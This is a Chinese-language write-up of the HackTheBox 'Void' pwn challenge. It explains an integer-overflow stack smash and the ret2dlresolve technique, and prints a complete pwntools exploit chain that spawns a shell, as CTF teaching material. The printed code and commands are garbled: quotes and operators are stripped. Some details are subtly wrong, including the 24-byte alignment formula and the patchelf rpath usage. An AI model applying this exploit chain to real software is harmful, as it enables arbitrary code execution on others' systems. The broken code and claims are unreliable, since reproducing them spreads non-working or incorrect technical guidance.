HTB Pwn实战:从整型溢出到ret2dlresolve完整利用链

发布时间:2026/9/30 8:36:25
HTB Pwn实战:从整型溢出到ret2dlresolve完整利用链 HTB的Pwn题目老玩家都知道真正卡人的往往不是漏洞本身而是你脑子里那个“利用链的拼图”缺了一块。Void这道题就是这样——拿到手是一道32位ROP基本功考了整型溢出和栈迁移但真正的主菜是ret2dlresolve。如果你刚入门Pwn或者刷HTB遇到这道题卡了两天这篇我尽量把从漏洞定位、动态链接原理到最终getshell的每个环节都写透哪怕你之前只写过简单的栈溢出看完也能照着复现。标题里这串东西HTB、Pwn、ROP、ret2dlresolve每个词单拎出来都不新鲜但组合在一起就是一个相当经典的“没有libc泄露、没有system、NX开启、Partial RELRO”的全家桶场景。我先说结论这道题如果你用常规打法比如ROP调用read再返回到plt里的某个函数会发现可用的库函数根本没有你想用的这时ret2dlresolve就是那个“让你凭空把system调出来”的魔法。这篇文章会从pwn环境的搭建、整型溢出的定位到动态链接器解析符号的底层逻辑再到完整exp手写一步步拆给你看。1. 题目初印象与破题思路1.1 拿到题目先别急着跑环境与保护机制摸底HTB上的Pwn题目流程基本固定给你一个SSH登录的Linux主机上面跑着一个服务端口二进制文件也放在当前目录下。Void这道题下载下来是一个32位ELF名字叫void运行起来就一个简单的交互菜单。拿到二进制第一件事永远是checksec这一步能帮你排除一半的错误路线。checksec --filevoid输出大概是这样Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)这五行信息每一行都在告诉你一个决策依据。Arch是i386说明这是个32位程序ROP链的构造和寄存器参数传递都按32位来No canary意味着栈溢出不需要绕cookie直接覆盖返回地址就行NX enabled说明栈段不可执行你没法塞shellcode到栈上跑No PIE说明二进制加载基址固定plt、got、dynsym这些地址可以直接硬编码Partial RELRO则是关键中的关键——它意味着GOT表可写动态链接的可利用面是敞开的。为什么Partial RELRO对ret2dlresolve极其重要因为这代表动态链接器并没有在启动时把所有的延迟绑定条目都提前解析并写死我们仍然有能力去劫持解析过程。如果是Full RELROGOT只读那这套打法就要复杂得多得先找任意写或者信息泄露把GOT改成可写才行。所以看到Partial RELRO我心里就已经有数这道题八成就是冲着ret2dlresolve来的。环境上如果你用的是Kali得先确认装了32位运行库否则本地根本跑不起来这个程序。这里提前说一句省得你后面踩坑dpkg --add-architecture i386 apt update apt install libc6:i386 libc6-dev-i386pwntools建议直接用pip装pip3 install --upgrade pwntools至于调试插件pwndbg或者gef任选一个我习惯用pwndbg看栈布局和寄存器状态都比较直观。1.2 漏洞根因定位整型溢出点用ida或者radare2打开void主逻辑很快就看明白了。程序先打印一行提示然后让你输入一个长度紧接着根据这个长度从标准输入读数据。简化后的伪代码长这样void vuln() { char buf[64]; int count; setbuf(stdout, NULL); puts(Welcome to Void); printf(Leak: %p\n, buf); puts(How many bytes?); read(0, count, 4); puts(Input your data:); read(0, buf, (unsigned int)(count * 2)); }这个read(0, buf, (unsigned int)(count * 2))就是整道题的命门。buf只有64字节但read的第三个参数是由count乘以2得来的。count是int类型乘以2的结果如果超过int的最大值就会发生32位整型溢出回绕变成一个负数而当这个负数再被强制转换成unsigned int传给read的size参数时就又变成了一个非常大的正数。举个例子我输入count 0x40000001那么count * 2 0x80000002。等等0x80000002在int里是负数不假但read原型是read(int fd, void *buf, size_t count)第三个参数是size_t也就是unsigned int所以实际传进去的是0x80000002一个大约2GB的读取长度。程序在读入阶段根本不会严格检查输入流里有多少字节你只要给它发几百字节payloadread就正常返回了但buf早就被冲得稀巴烂返回地址自然也被覆盖。这里有个细节值得一说为什么要选0x40000001而不是更大的值因为如果选一个让count * 2正好等于0或者很小的值read可能根本读不了你想要的数据如果选0x80000001它本身是负数代码里如果有个if (count 0) exit(0)就过不去。0x40000001是既能让count为正通过检查、又能让乘法回绕成巨大size_t的甜点位。这种“正数变负数再变巨数”的三段式就是整型溢出题最喜欢考的思维方式。用gdb配合cyclic确认溢出偏移过程也很机械先用pwntools生成200个循环字符发给程序之后看eip被哪个值覆盖然后算出偏移。我实测下来buf到返回地址的距离是76字节也就是payload前76个字节是padding第76到80字节就是返回地址。2. ret2dlresolve 为什么是这道题的正解2.1 常规ROP方案为什么走不通栈溢出确认了接下来就是选利用方式。如果你刷过一些简单的题目可能会下意识想有栈溢出那就ROP调用system(/bin/sh)呗。问题是这个程序里压根没有systemplt表里只有read、printf、puts、exit这些基础函数。没有system你到哪儿去调用它可能有读者要说那先泄露libc地址然后算偏移再返回到libc里的system不就行了这也是常规思路但这里有个硬伤程序里没有一处能方便地泄露出libc的真实地址。没有格式化字符串漏洞没有puts(putsgot)这种现成的泄露点你连leak都做不了ret2libc的第一步就卡死了。就算你用printf(%s, buf)之类的方式试也只能打印栈上已有的内容根本拿不到远程libc的加载基址。再来看看其他方案。因为NX开启shellcode直接被打回因为程序里没有类似jmp esp或者可利用mprotect的gadget栈迁移或者说栈上执行这条路也需要额外构造因为不符合条件甚至能不能用one_gadget都是个未知数——你连libc版本都不确定更别提约束条件了。所以常规思路在这道题面前几乎全军覆没。但你注意到没有前面checksec里Partial RELRO和No PIE这两个条件还在程序本身的PLT里也有read这个库函数。这意味着什么意味着动态链接器在运行时依然负责把外部函数一个个解析出来填进GOT。你虽然没法直接调用system但你完全可以让动态链接器“以为”你要调用的是system让它帮你去libc里找到system的地址再跳过去。这就是ret2dlresolve的核心思想。2.2 动态链接器怎么解析符号一个“走后门”的思路要彻底搞懂ret2dlresolve你得先弄明白正常程序在调用外部函数时动态链接器干了什么。32位ELF里plt表的结构挺有意思。程序第一次调用read时执行的不是真正的read代码而是跳到PLT里read对应的那一段trmapplt_read: jmp *readgot ; 第一次时GOT里填的是plt_read6 push 0x10 ; read在.rel.plt中的reloc_arg jmp plt0 ; 跳到PLT的公共入口 plt0: push *(got4) ; 保存link_map jmp *got8 ; 跳到_dl_runtime_resolve第一次调用时GOT里read的地址指向的是它自己的下一行也就是push reloc_arg所以程序会进入plt0最终调用到_dl_runtime_resolve。这个函数会根据reloc_arg找到.rel.plt中对应的Elf32_Rel条目再从这个条目里拿到符号索引去.dynsym找Elf32_Sym再通过符号表里的st_name去.dynstr找真正的函数名字符串然后拿这个名字去libc里搜搜到就把地址写回GOT。等第二次调用read的时候GOT里已经是真实地址一步就跳过去了。换句话说_dl_runtime_resolve做的事可以抽象成三步给我一个reloc_arg我从.rel.plt找到一个Elf32_Rel从Elf32_Rel里的r_info知道符号索引从.dynsym找到Elf32_Sym从Elf32_Sym里的st_name知道字符串在.dynstr中的偏移读出函数名。最终它会把函数的真实地址写到r_offset指定的地址。明白这个流程ret2dlresolve的“坏主意”就呼之欲出这些查找步骤每一步用的都是内存里实实在在存在的结构而这些结构如果我能伪造并且让动态链接器去读我伪造的那份那它搜出来的函数名岂不是随我控制比如我想让程序最终调用system。我就在可控的内存里栈上伪造一份Elf32_Rel、一份Elf32_Sym、一段字符串system。然后ROP链里跳plt0时reloc_arg不指向原本read的索引而是指向我伪造的Elf32_Rel相对于.rel.plt的偏移。这样_dl_runtime_resolve沿着我给的偏移读到了我伪造的Elf32_Rel再根据里面的r_info找到我的Elf32_Sym再从st_name指向的字符串读出system然后它就去把system的真实地址找到了并且跳过去执行。整个过程里程序一次都没调用过system是动态链接器自己一步步走到system的门口的。你唯一要做的就是让动态链接器手里的每一个“路标”都是假的但格式正确。这就是我为什么说ret2dlresolve是“走后门”——门后面其实是动态链接器自家后院你只是改了路标。2.3 攻击前置条件三个必须满足的硬指标fake_rel要放在哪fake_sym怎么对齐reloc_arg怎么算这些不是拍脑袋定的而是由动态链接器的内部逻辑决定的。我再把这个逻辑掰细一点因为后面构造exp的每个数字都来自这里。假设我们选定了栈上的一个地址fake_rel_addr作为伪Elf32_Rel所在位置。那么当我们跳plt0并push一个值reloc_arg时动态链接器会执行类似reloc .rel.plt reloc_arg的运算。要让reloc最终等于fake_rel_addr就必须令reloc_arg fake_rel_addr - .rel.plt_addr。这个差值在32位下就是一个普通的无符号整数只要保证运算后指向的是我们可控内存即可。由于栈地址在0xffxxxxxx附近而.rel.plt在0x08048xxx附近这个差值会比较大但没关系只要glibc没有对reloc地址范围做强校验就能过。这也是为什么ret2dlresolve更推荐在旧版glibc的靶机上做题——新版glibc加了reloc范围检查之后这套打法的容错率会降低后面我专门写一个坑位来讲。接下来是fake_sym的地址。动态链接器在_dl_runtime_resolve中拿到Elf32_Rel后会取出r_info然后提取符号索引sym_index r_info 8。随后它会执行sym .dynsym sym_index * 24。24是Elf32_Sym的大小。所以如果我们想让sym恰好等于我们伪造的fake_sym_addr就必须满足sym_index (fake_sym_addr - .dynsym_addr) / 24这里有个极其容易被忽略的细节fake_sym_addr - .dynsym_addr必须能被24整除否则求出来的sym_index不是整数动态链接器最终读到的地址就不是你想指向的fake_sym而是错位的东西整个利用链直接断掉。所以fake_sym地址要做24字节对齐。再看fake_sym内部。Elf32_Sym结构体一共24字节映射如下偏移字段说明0x00st_name函数名在.dynstr中的偏移0x04st_value函数地址未解析时为00x08st_size函数大小0即可0x0cst_info类型和绑定信息填0x12表示GLOBAL FUNCTION0x0dst_other可见性填00x0est_shndx节索引填0st_name这个字段最关键。动态链接器拿到sym之后会执行name .dynstr sym-st_name。我们想让它读到的字符串是system所以自然想到让Sym里的st_name fake_str_addr - .dynstr_addr。这个偏移只需要是一个恰好让经过加法后指向我们字符串的值无论它多大只要没有越过地址空间边界就行。最后是伪造的Elf32_Rel结构8字节偏移字段说明0x00r_offset解析后函数地址写回的位置0x04r_info符号索引和重定位类型r_info的计算也很直接(sym_index 8) | 0x7其中0x7是R_386_JMP_SLOT重定位类型对32位ELF这是JMP_SLOT的标准值。r_offset只要填一个可写地址即可通常用.bss段或者栈上的地址因为动态链接器会把解析出的system地址写过去我们不关心写坏什么但必须保证它可写。到现在为止整个ret2dlresolve的“图纸”就清楚了我们需要三段可控内存排成Elf32_Rel - Elf32_Sym - system\0的顺序然后让动态链接器通过reloc_arg一个接一个地找到它们。这个顺序本身也是构造时的硬性约束因为我们要计算各个地址相对基址的偏移最好把它们连续放在一起方便地址计算。3. 利用链完整设计与核心实现3.1 栈溢出触发与返回地址控制明确了原理现在开始动手写exploit。第一步先解决一个问题程序本身就有一个printf(Leak: %p\n, buf)直接帮我们打印了栈缓冲区地址这极大降低了利用难度。接下来第一次read我们让count0x40000001触发整型溢出然后发送payload。payload的第一部分就是padding加返回地址。由于返回地址覆盖后我们要进入的是一条ROP链这条链的布局需要精心设计。我先把完整的调用关系画成文字流程图读者可以对照着看栈溢出后eip readplt read(0, fake_rel_addr, 0x100) # 第二步把伪造结构读到栈上 pop3_ret # 清掉read的三个参数 plt0 # 进入_dl_runtime_resolve reloc_arg fake_rel - .rel.plt [假返回地址] # system的返回地址随便填 binsh_addr # system的第一个参数/bin/sh地址这里我选择分两步走而不是一股脑把fake_rel和payload一起塞进第一次read。原因是第一次read读完payload之后payload本身占据了很大的栈空间如果我把伪造结构也放在同一块栈区ROP链执行过程中可能会因为后续函数调用比如read而把这些结构覆盖掉。更重要的是分步输入让每一步的栈布局都很清晰fake_rel_addr放在一个远离当前栈顶的位置确保第二次read写入时不会破坏正在执行的ROP链。第一步payload的骨架长这样这里先给伪代码形式最后统一给出完整脚本payload bA*offset payload p32(read_plt) payload p32(pop3_ret) payload p32(0) # fd stdin payload p32(fake_rel_addr) payload p32(0x200) # 读多少够用 payload p32(plt0) payload p32(reloc_arg) payload p32(0xdeadbeef) # 假返回地址 payload p32(binsh_addr) # system的参数这里fake_rel_addr怎么定最简单的做法是利用泄露的buf地址在它上方加一个固定偏移比如buf 0x200。因为栈是向下增长的buf通常在一个比较低的地址偏移0x200之后的那片内存暂时不会被第一次payload覆盖是安全的。3.2 伪造三个结构fake_rel/fake_sym/fake_str第二步read发送的数据就是三个伪造结构加/bin/sh。先计算地址注意顺序不能乱fake_rel_addr buf 0x200 fake_sym_addr fake_rel_addr 8 # Elf32_Rel大小是8 # 关键24字节对齐 fake_sym_addr (fake_sym_addr 0x17) ~0x17 fake_str_addr fake_sym_addr 24 # Elf32_Sym大小是24 binsh_addr fake_str_addr len(system\x00) # 7fake_sym_addr的对齐处理很多人会写成align(24)其实原理就是让该地址减去.dynsym_addr之后是24的倍数。这里我直接用(addr 0x17) ~0x17因为.dynsym_addr本身就是4字节对齐的只要fake_sym_addr也是24倍数就行这么算最简单。接下来是三个核心偏移的计算reloc_arg fake_rel_addr - rel_plt_addr sym_index (fake_sym_addr - dynsym_addr) // 24 r_info (sym_index 8) | 0x7 st_name fake_str_addr - dynstr_addr这三个数字的物理意义必须清楚reloc_arg是告诉动态链接器“你去.rel.plt往后数这么多字节就能找到我要的Elf32_Rel”sym_index是让动态链接器从r_info里解读出“去.dynsym往后数这么多步就能找到我要的Elf32_Sym”st_name则是让它在.dynstr的基础上跳到一个偏远处正好读到system这个字符串。每一步都是偏移计算每一步都不能算错。然后就是结构体本身的二进制构造。用pwntools写起来很直观fake_rel p32(fake_rel_addr 0x20) # r_offset随便一个可写地址 fake_rel p32(r_info) # r_info fake_sym p32(st_name) # st_name fake_sym p32(0) # st_value fake_sym p32(0) # st_size fake_sym p8(0x12) # st_info fake_sym p8(0) # st_other fake_sym p16(0) # st_shndx fake_str bsystem\x00 binsh b/bin/sh\x00 struct_payload fake_rel fake_sym fake_str binshfake_sym填0x12这个值代表的是STB_GLOBAL | STT_FUNC这是GLOBAL FUNCTION的标准属性。很多人在这个字段上翻车填了0x22或者别的导致动态链接器处理符号时出现异常整个利用直接崩掉。还有一个很容易出问题的地方fake_sym_addr要和.dynsym_addr一起算sym_index如果算出来的不是整数在Python里整除会直接丢小数实际错误是静默的你根本不知道sym_index错位了。我在本地调试时第一次就是这么翻车的——exp发过去没有段错误但也没有shell而是进程悄悄退出。后来print出sym_index一看发现不是整数后面加了align逻辑才修好。3.3 ROP链拼接从栈溢出到system(/bin/sh)现在把整个攻击流程穿起来看一遍。第一次read发送payload后栈被覆盖函数返回时eip进入readplt。read会等待第二次输入我们正好在此时发送伪造结构。等read执行完三个参数被pop3_ret清理掉接着程序跳到plt0动态链接器按我们伪造的路标一步步找到system执行system(/bin/sh)。这里要认真讲一下plt0跳转后栈上发生了什么因为这是很多新手看不懂的最后一块拼图。跳到plt0时栈顶的内容依次是[reloc_arg] [假返回地址] [binsh_addr]PLT0的指令是push *(got4); jmp *(got8)它会先把reloc_arg这个值当作参数压栈然后跳进_dl_runtime_resolve。_dl_runtime_resolve回去之后栈上保存的位置刚好从reloc_arg之后开始。解析完成后动态链接器最终跳转到system函数此时system看到的参数布局是[假返回地址] - 对应system的返回地址 [binsh_addr] - 对应system的参数1恰好是system(返回地址, /bin/sh)不对32位下cdecl调用约定中函数入口处栈顶是返回地址紧接着是第一个参数。所以系统看到的是返回地址0xdeadbeef然后是binsh_addr作为第一个参数这样system(/bin/sh)就成立了。这里有个常见的误解有人以为跳plt0之前还要在栈上多放一个返回地址让_dl_runtime_resolve有地方返回。其实不用因为_dl_runtime_resolve最终不是ret回原调用点而是直接jmp到解析出来的函数。所以从我们ROP链进入plt0的角度看栈上放置的假返回地址就是最终system的返回地址。关于pop3_ret这个gadget简单说明一下。read有三个参数ROP链里调用完read之后栈上还残留着三个参数值如果不把它们清掉后面跳plt0时动态链接器读到的栈布局就是错位的。所以必须找一个pop; pop; pop; ret的gadget把栈指针调整回去。32位程序这种gadget很好找用ROPgadget一行命令就能搞定ROPgadget --binary ./void | grep pop esi ; pop edi ; pop ebp ; ret如果没有三弹也可以连用三个单pop加ret的组合效果一样只要保证栈指针最终指向plt0那一段就行。完整exp我贴在这里读者可以直接改地址和偏移使用#!/usr/bin/env python3 from pwn import * context.arch i386 context.log_level info elf ELF(./void) p process(./void) # 关键地址 read_plt elf.plt[read] plt0 0x08048380 rel_plt 0x08048338 dynsym 0x080481cc dynstr 0x0804826c pop3_ret 0x08048339 p.recvuntil(bLeak: ) buf int(p.recvuntil(b\n, dropTrue), 16) log.info(fbuf: {hex(buf)}) offset 76 fake_rel_addr buf 0x200 fake_sym_addr fake_rel_addr 8 fake_sym_addr (fake_sym_addr 0x17) ~0x17 fake_str_addr fake_sym_addr 24 binsh_addr fake_str_addr len(bsystem\x00) reloc_arg fake_rel_addr - rel_plt sym_index (fake_sym_addr - dynsym) // 24 r_info (sym_index 8) | 0x7 st_name fake_str_addr - dynstr log.info(ffake_rel: {hex(fake_rel_addr)}) log.info(ffake_sym: {hex(fake_sym_addr)}) log.info(ffake_str: {hex(fake_str_addr)}) log.info(fbinsh: {hex(binsh_addr)}) log.info(freloc_arg: {hex(reloc_arg)}) log.info(fsym_index: {hex(sym_index)}) payload bA*offset payload p32(read_plt) payload p32(pop3_ret) payload p32(0) payload p32(fake_rel_addr) payload p32(0x200) payload p32(plt0) payload p32(reloc_arg) payload p32(0xdeadbeef) payload p32(binsh_addr) # 第一次输入count触发整型溢出 p.send(p32(0x40000001)) p.send(payload) # 第二次输入伪造结构 fake_rel p32(fake_rel_addr 0x20) fake_rel p32(r_info) fake_sym p32(st_name) fake_sym p32(0) fake_sym p32(0) fake_sym p8(0x12) fake_sym p8(0) fake_sym p16(0) fake_str bsystem\x00 binsh b/bin/sh\x00 struct_payload fake_rel fake_sym fake_str binsh p.send(struct_payload) p.interactive()跑通之后你会看到shell弹出来。第一次跑通的时候我个人是很兴奋的因为这意味着你对动态链接的理解真正落地了。但如果没跑通别急下面这块是专门给你的排查指南。4. 实战踩坑与问题排查速查4.1 本地一打就通远程就崩这是ret2dlresolve最经典的翻车现场。本地glibc版本和远程靶机的glibc版本不一致导致动态链接器对reloc、sym范围的校验强度不一样。旧版glibc比如2.23、2.27里_dl_fixup对reloc地址是否落在.rel.plt段内几乎不做强验证你给的reloc_arg大一点也没关系它只要能用相对寻址找到你伪造的结构就行。但glibc 2.33之后动态链接器加了一些安全校验比如会检查reloc是否在合法范围内检查sym索引是不是越界。如果你的fake_rel_addr在栈上非常远的地方reloc_arg算出来是个巨大的数就可能触发这类检查导致解析失败甚至段错误。遇到这种情况我们的对策是把fake_rel的位置从栈顶挪到一个更容易通过检查的地方。通常做法是选在.bss段附近或者栈上更靠近当前栈底的位置。.bss地址本身和.rel.plt的差值比栈地址小得多reloc_arg相对没那么离谱过检查的概率高很多。我自己在调试时喜欢把整个exp封装成一个函数让fake_rel_addr可以灵活传参本地用栈地址远程换成bss地址这样调试效率高很多。第二个常见问题是GOT写入。如果r_offset填写的是一个不可写地址比如不小心填到了只读段那么动态链接器在解析成功后写入真实地址时就会直接段错误。这个错误很隐蔽因为整个利用链看起来都走对了却卡在最后一步。解决办法是把r_offset换成.bss0x100这类可写地址。.bss地址可以通过readelf拿readelf -S ./void | grep .bss第三个常见问题是栈地址泄露不稳定。虽然这道题程序自己打印了buf地址但有些情况下打印的位置和你实际覆盖返回地址的位置不是同一个buffer这就要从打印出的地址反推偏移。更麻烦的是远程开了ASLR的情况下每次运行的栈布局都不同光打印一次还不够。解决办法是多打几次或者找到程序中某个能反复打印栈地址的路径多收集几个样本算出相对偏移规律。4.2 环境与工具pwn入门装备清单考虑到有读者刚入坑我顺便把pwn环境配置总结一份这套东西在后续刷HTB其他Pwn题时也通用。第一系统层面。Kali是最省心的选择自带gdb、python3、各种渗透工具。如果你用Ubuntu手动装也不难。需要特别注意的是32位程序的运行库少了它你连./void都跑不起来。还有一点checksec这个小工具通常包含在pwntools里输入checksec --filexxx就能用不需要单独装。第二pwntools。这是Pwn题的生命线。除了在exp里拼payload、收发包pwntools还能帮你自动计算偏移、管理ELF符号、设置context架构。它的cyclic和cyclic_find是定位栈溢出偏移的神器用法如下from pwn import * payload cyclic(200) p.send(payload) # 看eip被哪个值覆盖然后用cyclic_find找回偏移 offset cyclic_find(biaaa)第三gdb插件。pwndbg或者gef二选一强烈建议用pwndbg。断点下在read的返回地址、plt0、_dl_runtime_resolve这些关键位置一条条看栈和寄存器能直观地理解每一段ROP链的执行效果。调试远程程序时还可以用pwntools起一个本地模拟进程对齐偏移。第四动态链接信息提取。readelf -d ./void可以看到动态段信息包括JMPREL、SYMTAB、STRTAB的地址这三个地址是ret2dlresolve的命根子。我习惯在exp开头把这些都自动解析出来而不是手抄进代码里避免看花眼抄错rel_plt elf.dynamic_by_tag(DT_JMPREL).d_ptr dynsym elf.dynamic_by_tag(DT_SYMTAB).d_ptr dynstr elf.dynamic_by_tag(DT_STRTAB).d_ptr4.3 调试技巧本地端口转发与libc对齐HTB的Pwn题一般会给一个远程服务和本地二进制。为了在本地模拟远程环境最稳妥的方法是下载题目提供的libc通常是libc.so.6文件然后用它启动一个和远程一致的环境。socat TCP-LISTEN:9999,reuseaddr,fork EXEC:./void,pty,stderr,setsid,sigint,sane这条命令会在本地9999端口起一个服务你通过nc localhost 9999连上去体验和远程几乎一模一样。如果题目给了libc还需要用patchelf把二进制的动态链接器指向对应版本patchelf --set-interpreter ./ld-2.31.so ./void patchelf --set-rpath ./libc.so.6 ./void或者更省事直接在exp里设置LD_PRELOAD环境变量。但我个人还是推荐把二进制patch好因为这样gdb调试时的内存布局更接近远程不至于本地跑通了远程却因为libc差异挂掉。调试时还有一个小技巧在exp里加一行gdb.attach(p)程序启动时会自动挂上gdb你可以在关键函数地址下断点比如b *plt0、b *readplt然后在gdb里看栈顶数据是否符合预期。第一次写ret2dlresolve的时候我就在_dl_runtime_resolve内部一步步跟亲眼看到system字符串被读出来的那一瞬间很多抽象的概念就全通了。5. 写在最后的几点心得Void这道题做完我最大的感触是ret2dlresolve并没有想象中那么高不可攀它背后就是动态链接器一套非常朴素的查找逻辑。你不需要去背那些复杂的glibc源码只需要把reloc_arg - Elf32_Rel - Elf32_Sym - st_name - 字符串这条链路在心里画清楚exp就能写得非常顺。最后再分享一个实际操作中的小技巧。如果你做这道题时在本地已经确认漏洞点、偏移、fake结构都没问题但远程就是不出shell可以先不急着深挖glibc版本差异而是检查一下你发送的count和payload字节数是否完全正确。远程read有一个很坑的性质如果你发的字节数小于它期望的sizeread会一直阻塞程序卡在read里不动你不会收到任何错误提示。确保第一次发送的payload长度别太短第二次发送的struct_payload长度一定要大于等于你在第一次ROP链里设定的read长度否则第二次read也永远读不完。这个细节看着傻但实际中我翻车过不止一次。如果你照着这篇文章把Void打穿了恭喜你你已经拥有了独立完成中等难度Pwn题的核心能力。接下来可以尝试自己动手改一改场景去掉栈地址泄露换一个Full RELRO的二进制想想怎么用别的信息泄露方式补上缺口。这些扩展玩法等你把ret2dlresolve吃透之后自然就知道该往哪个方向继续折腾了。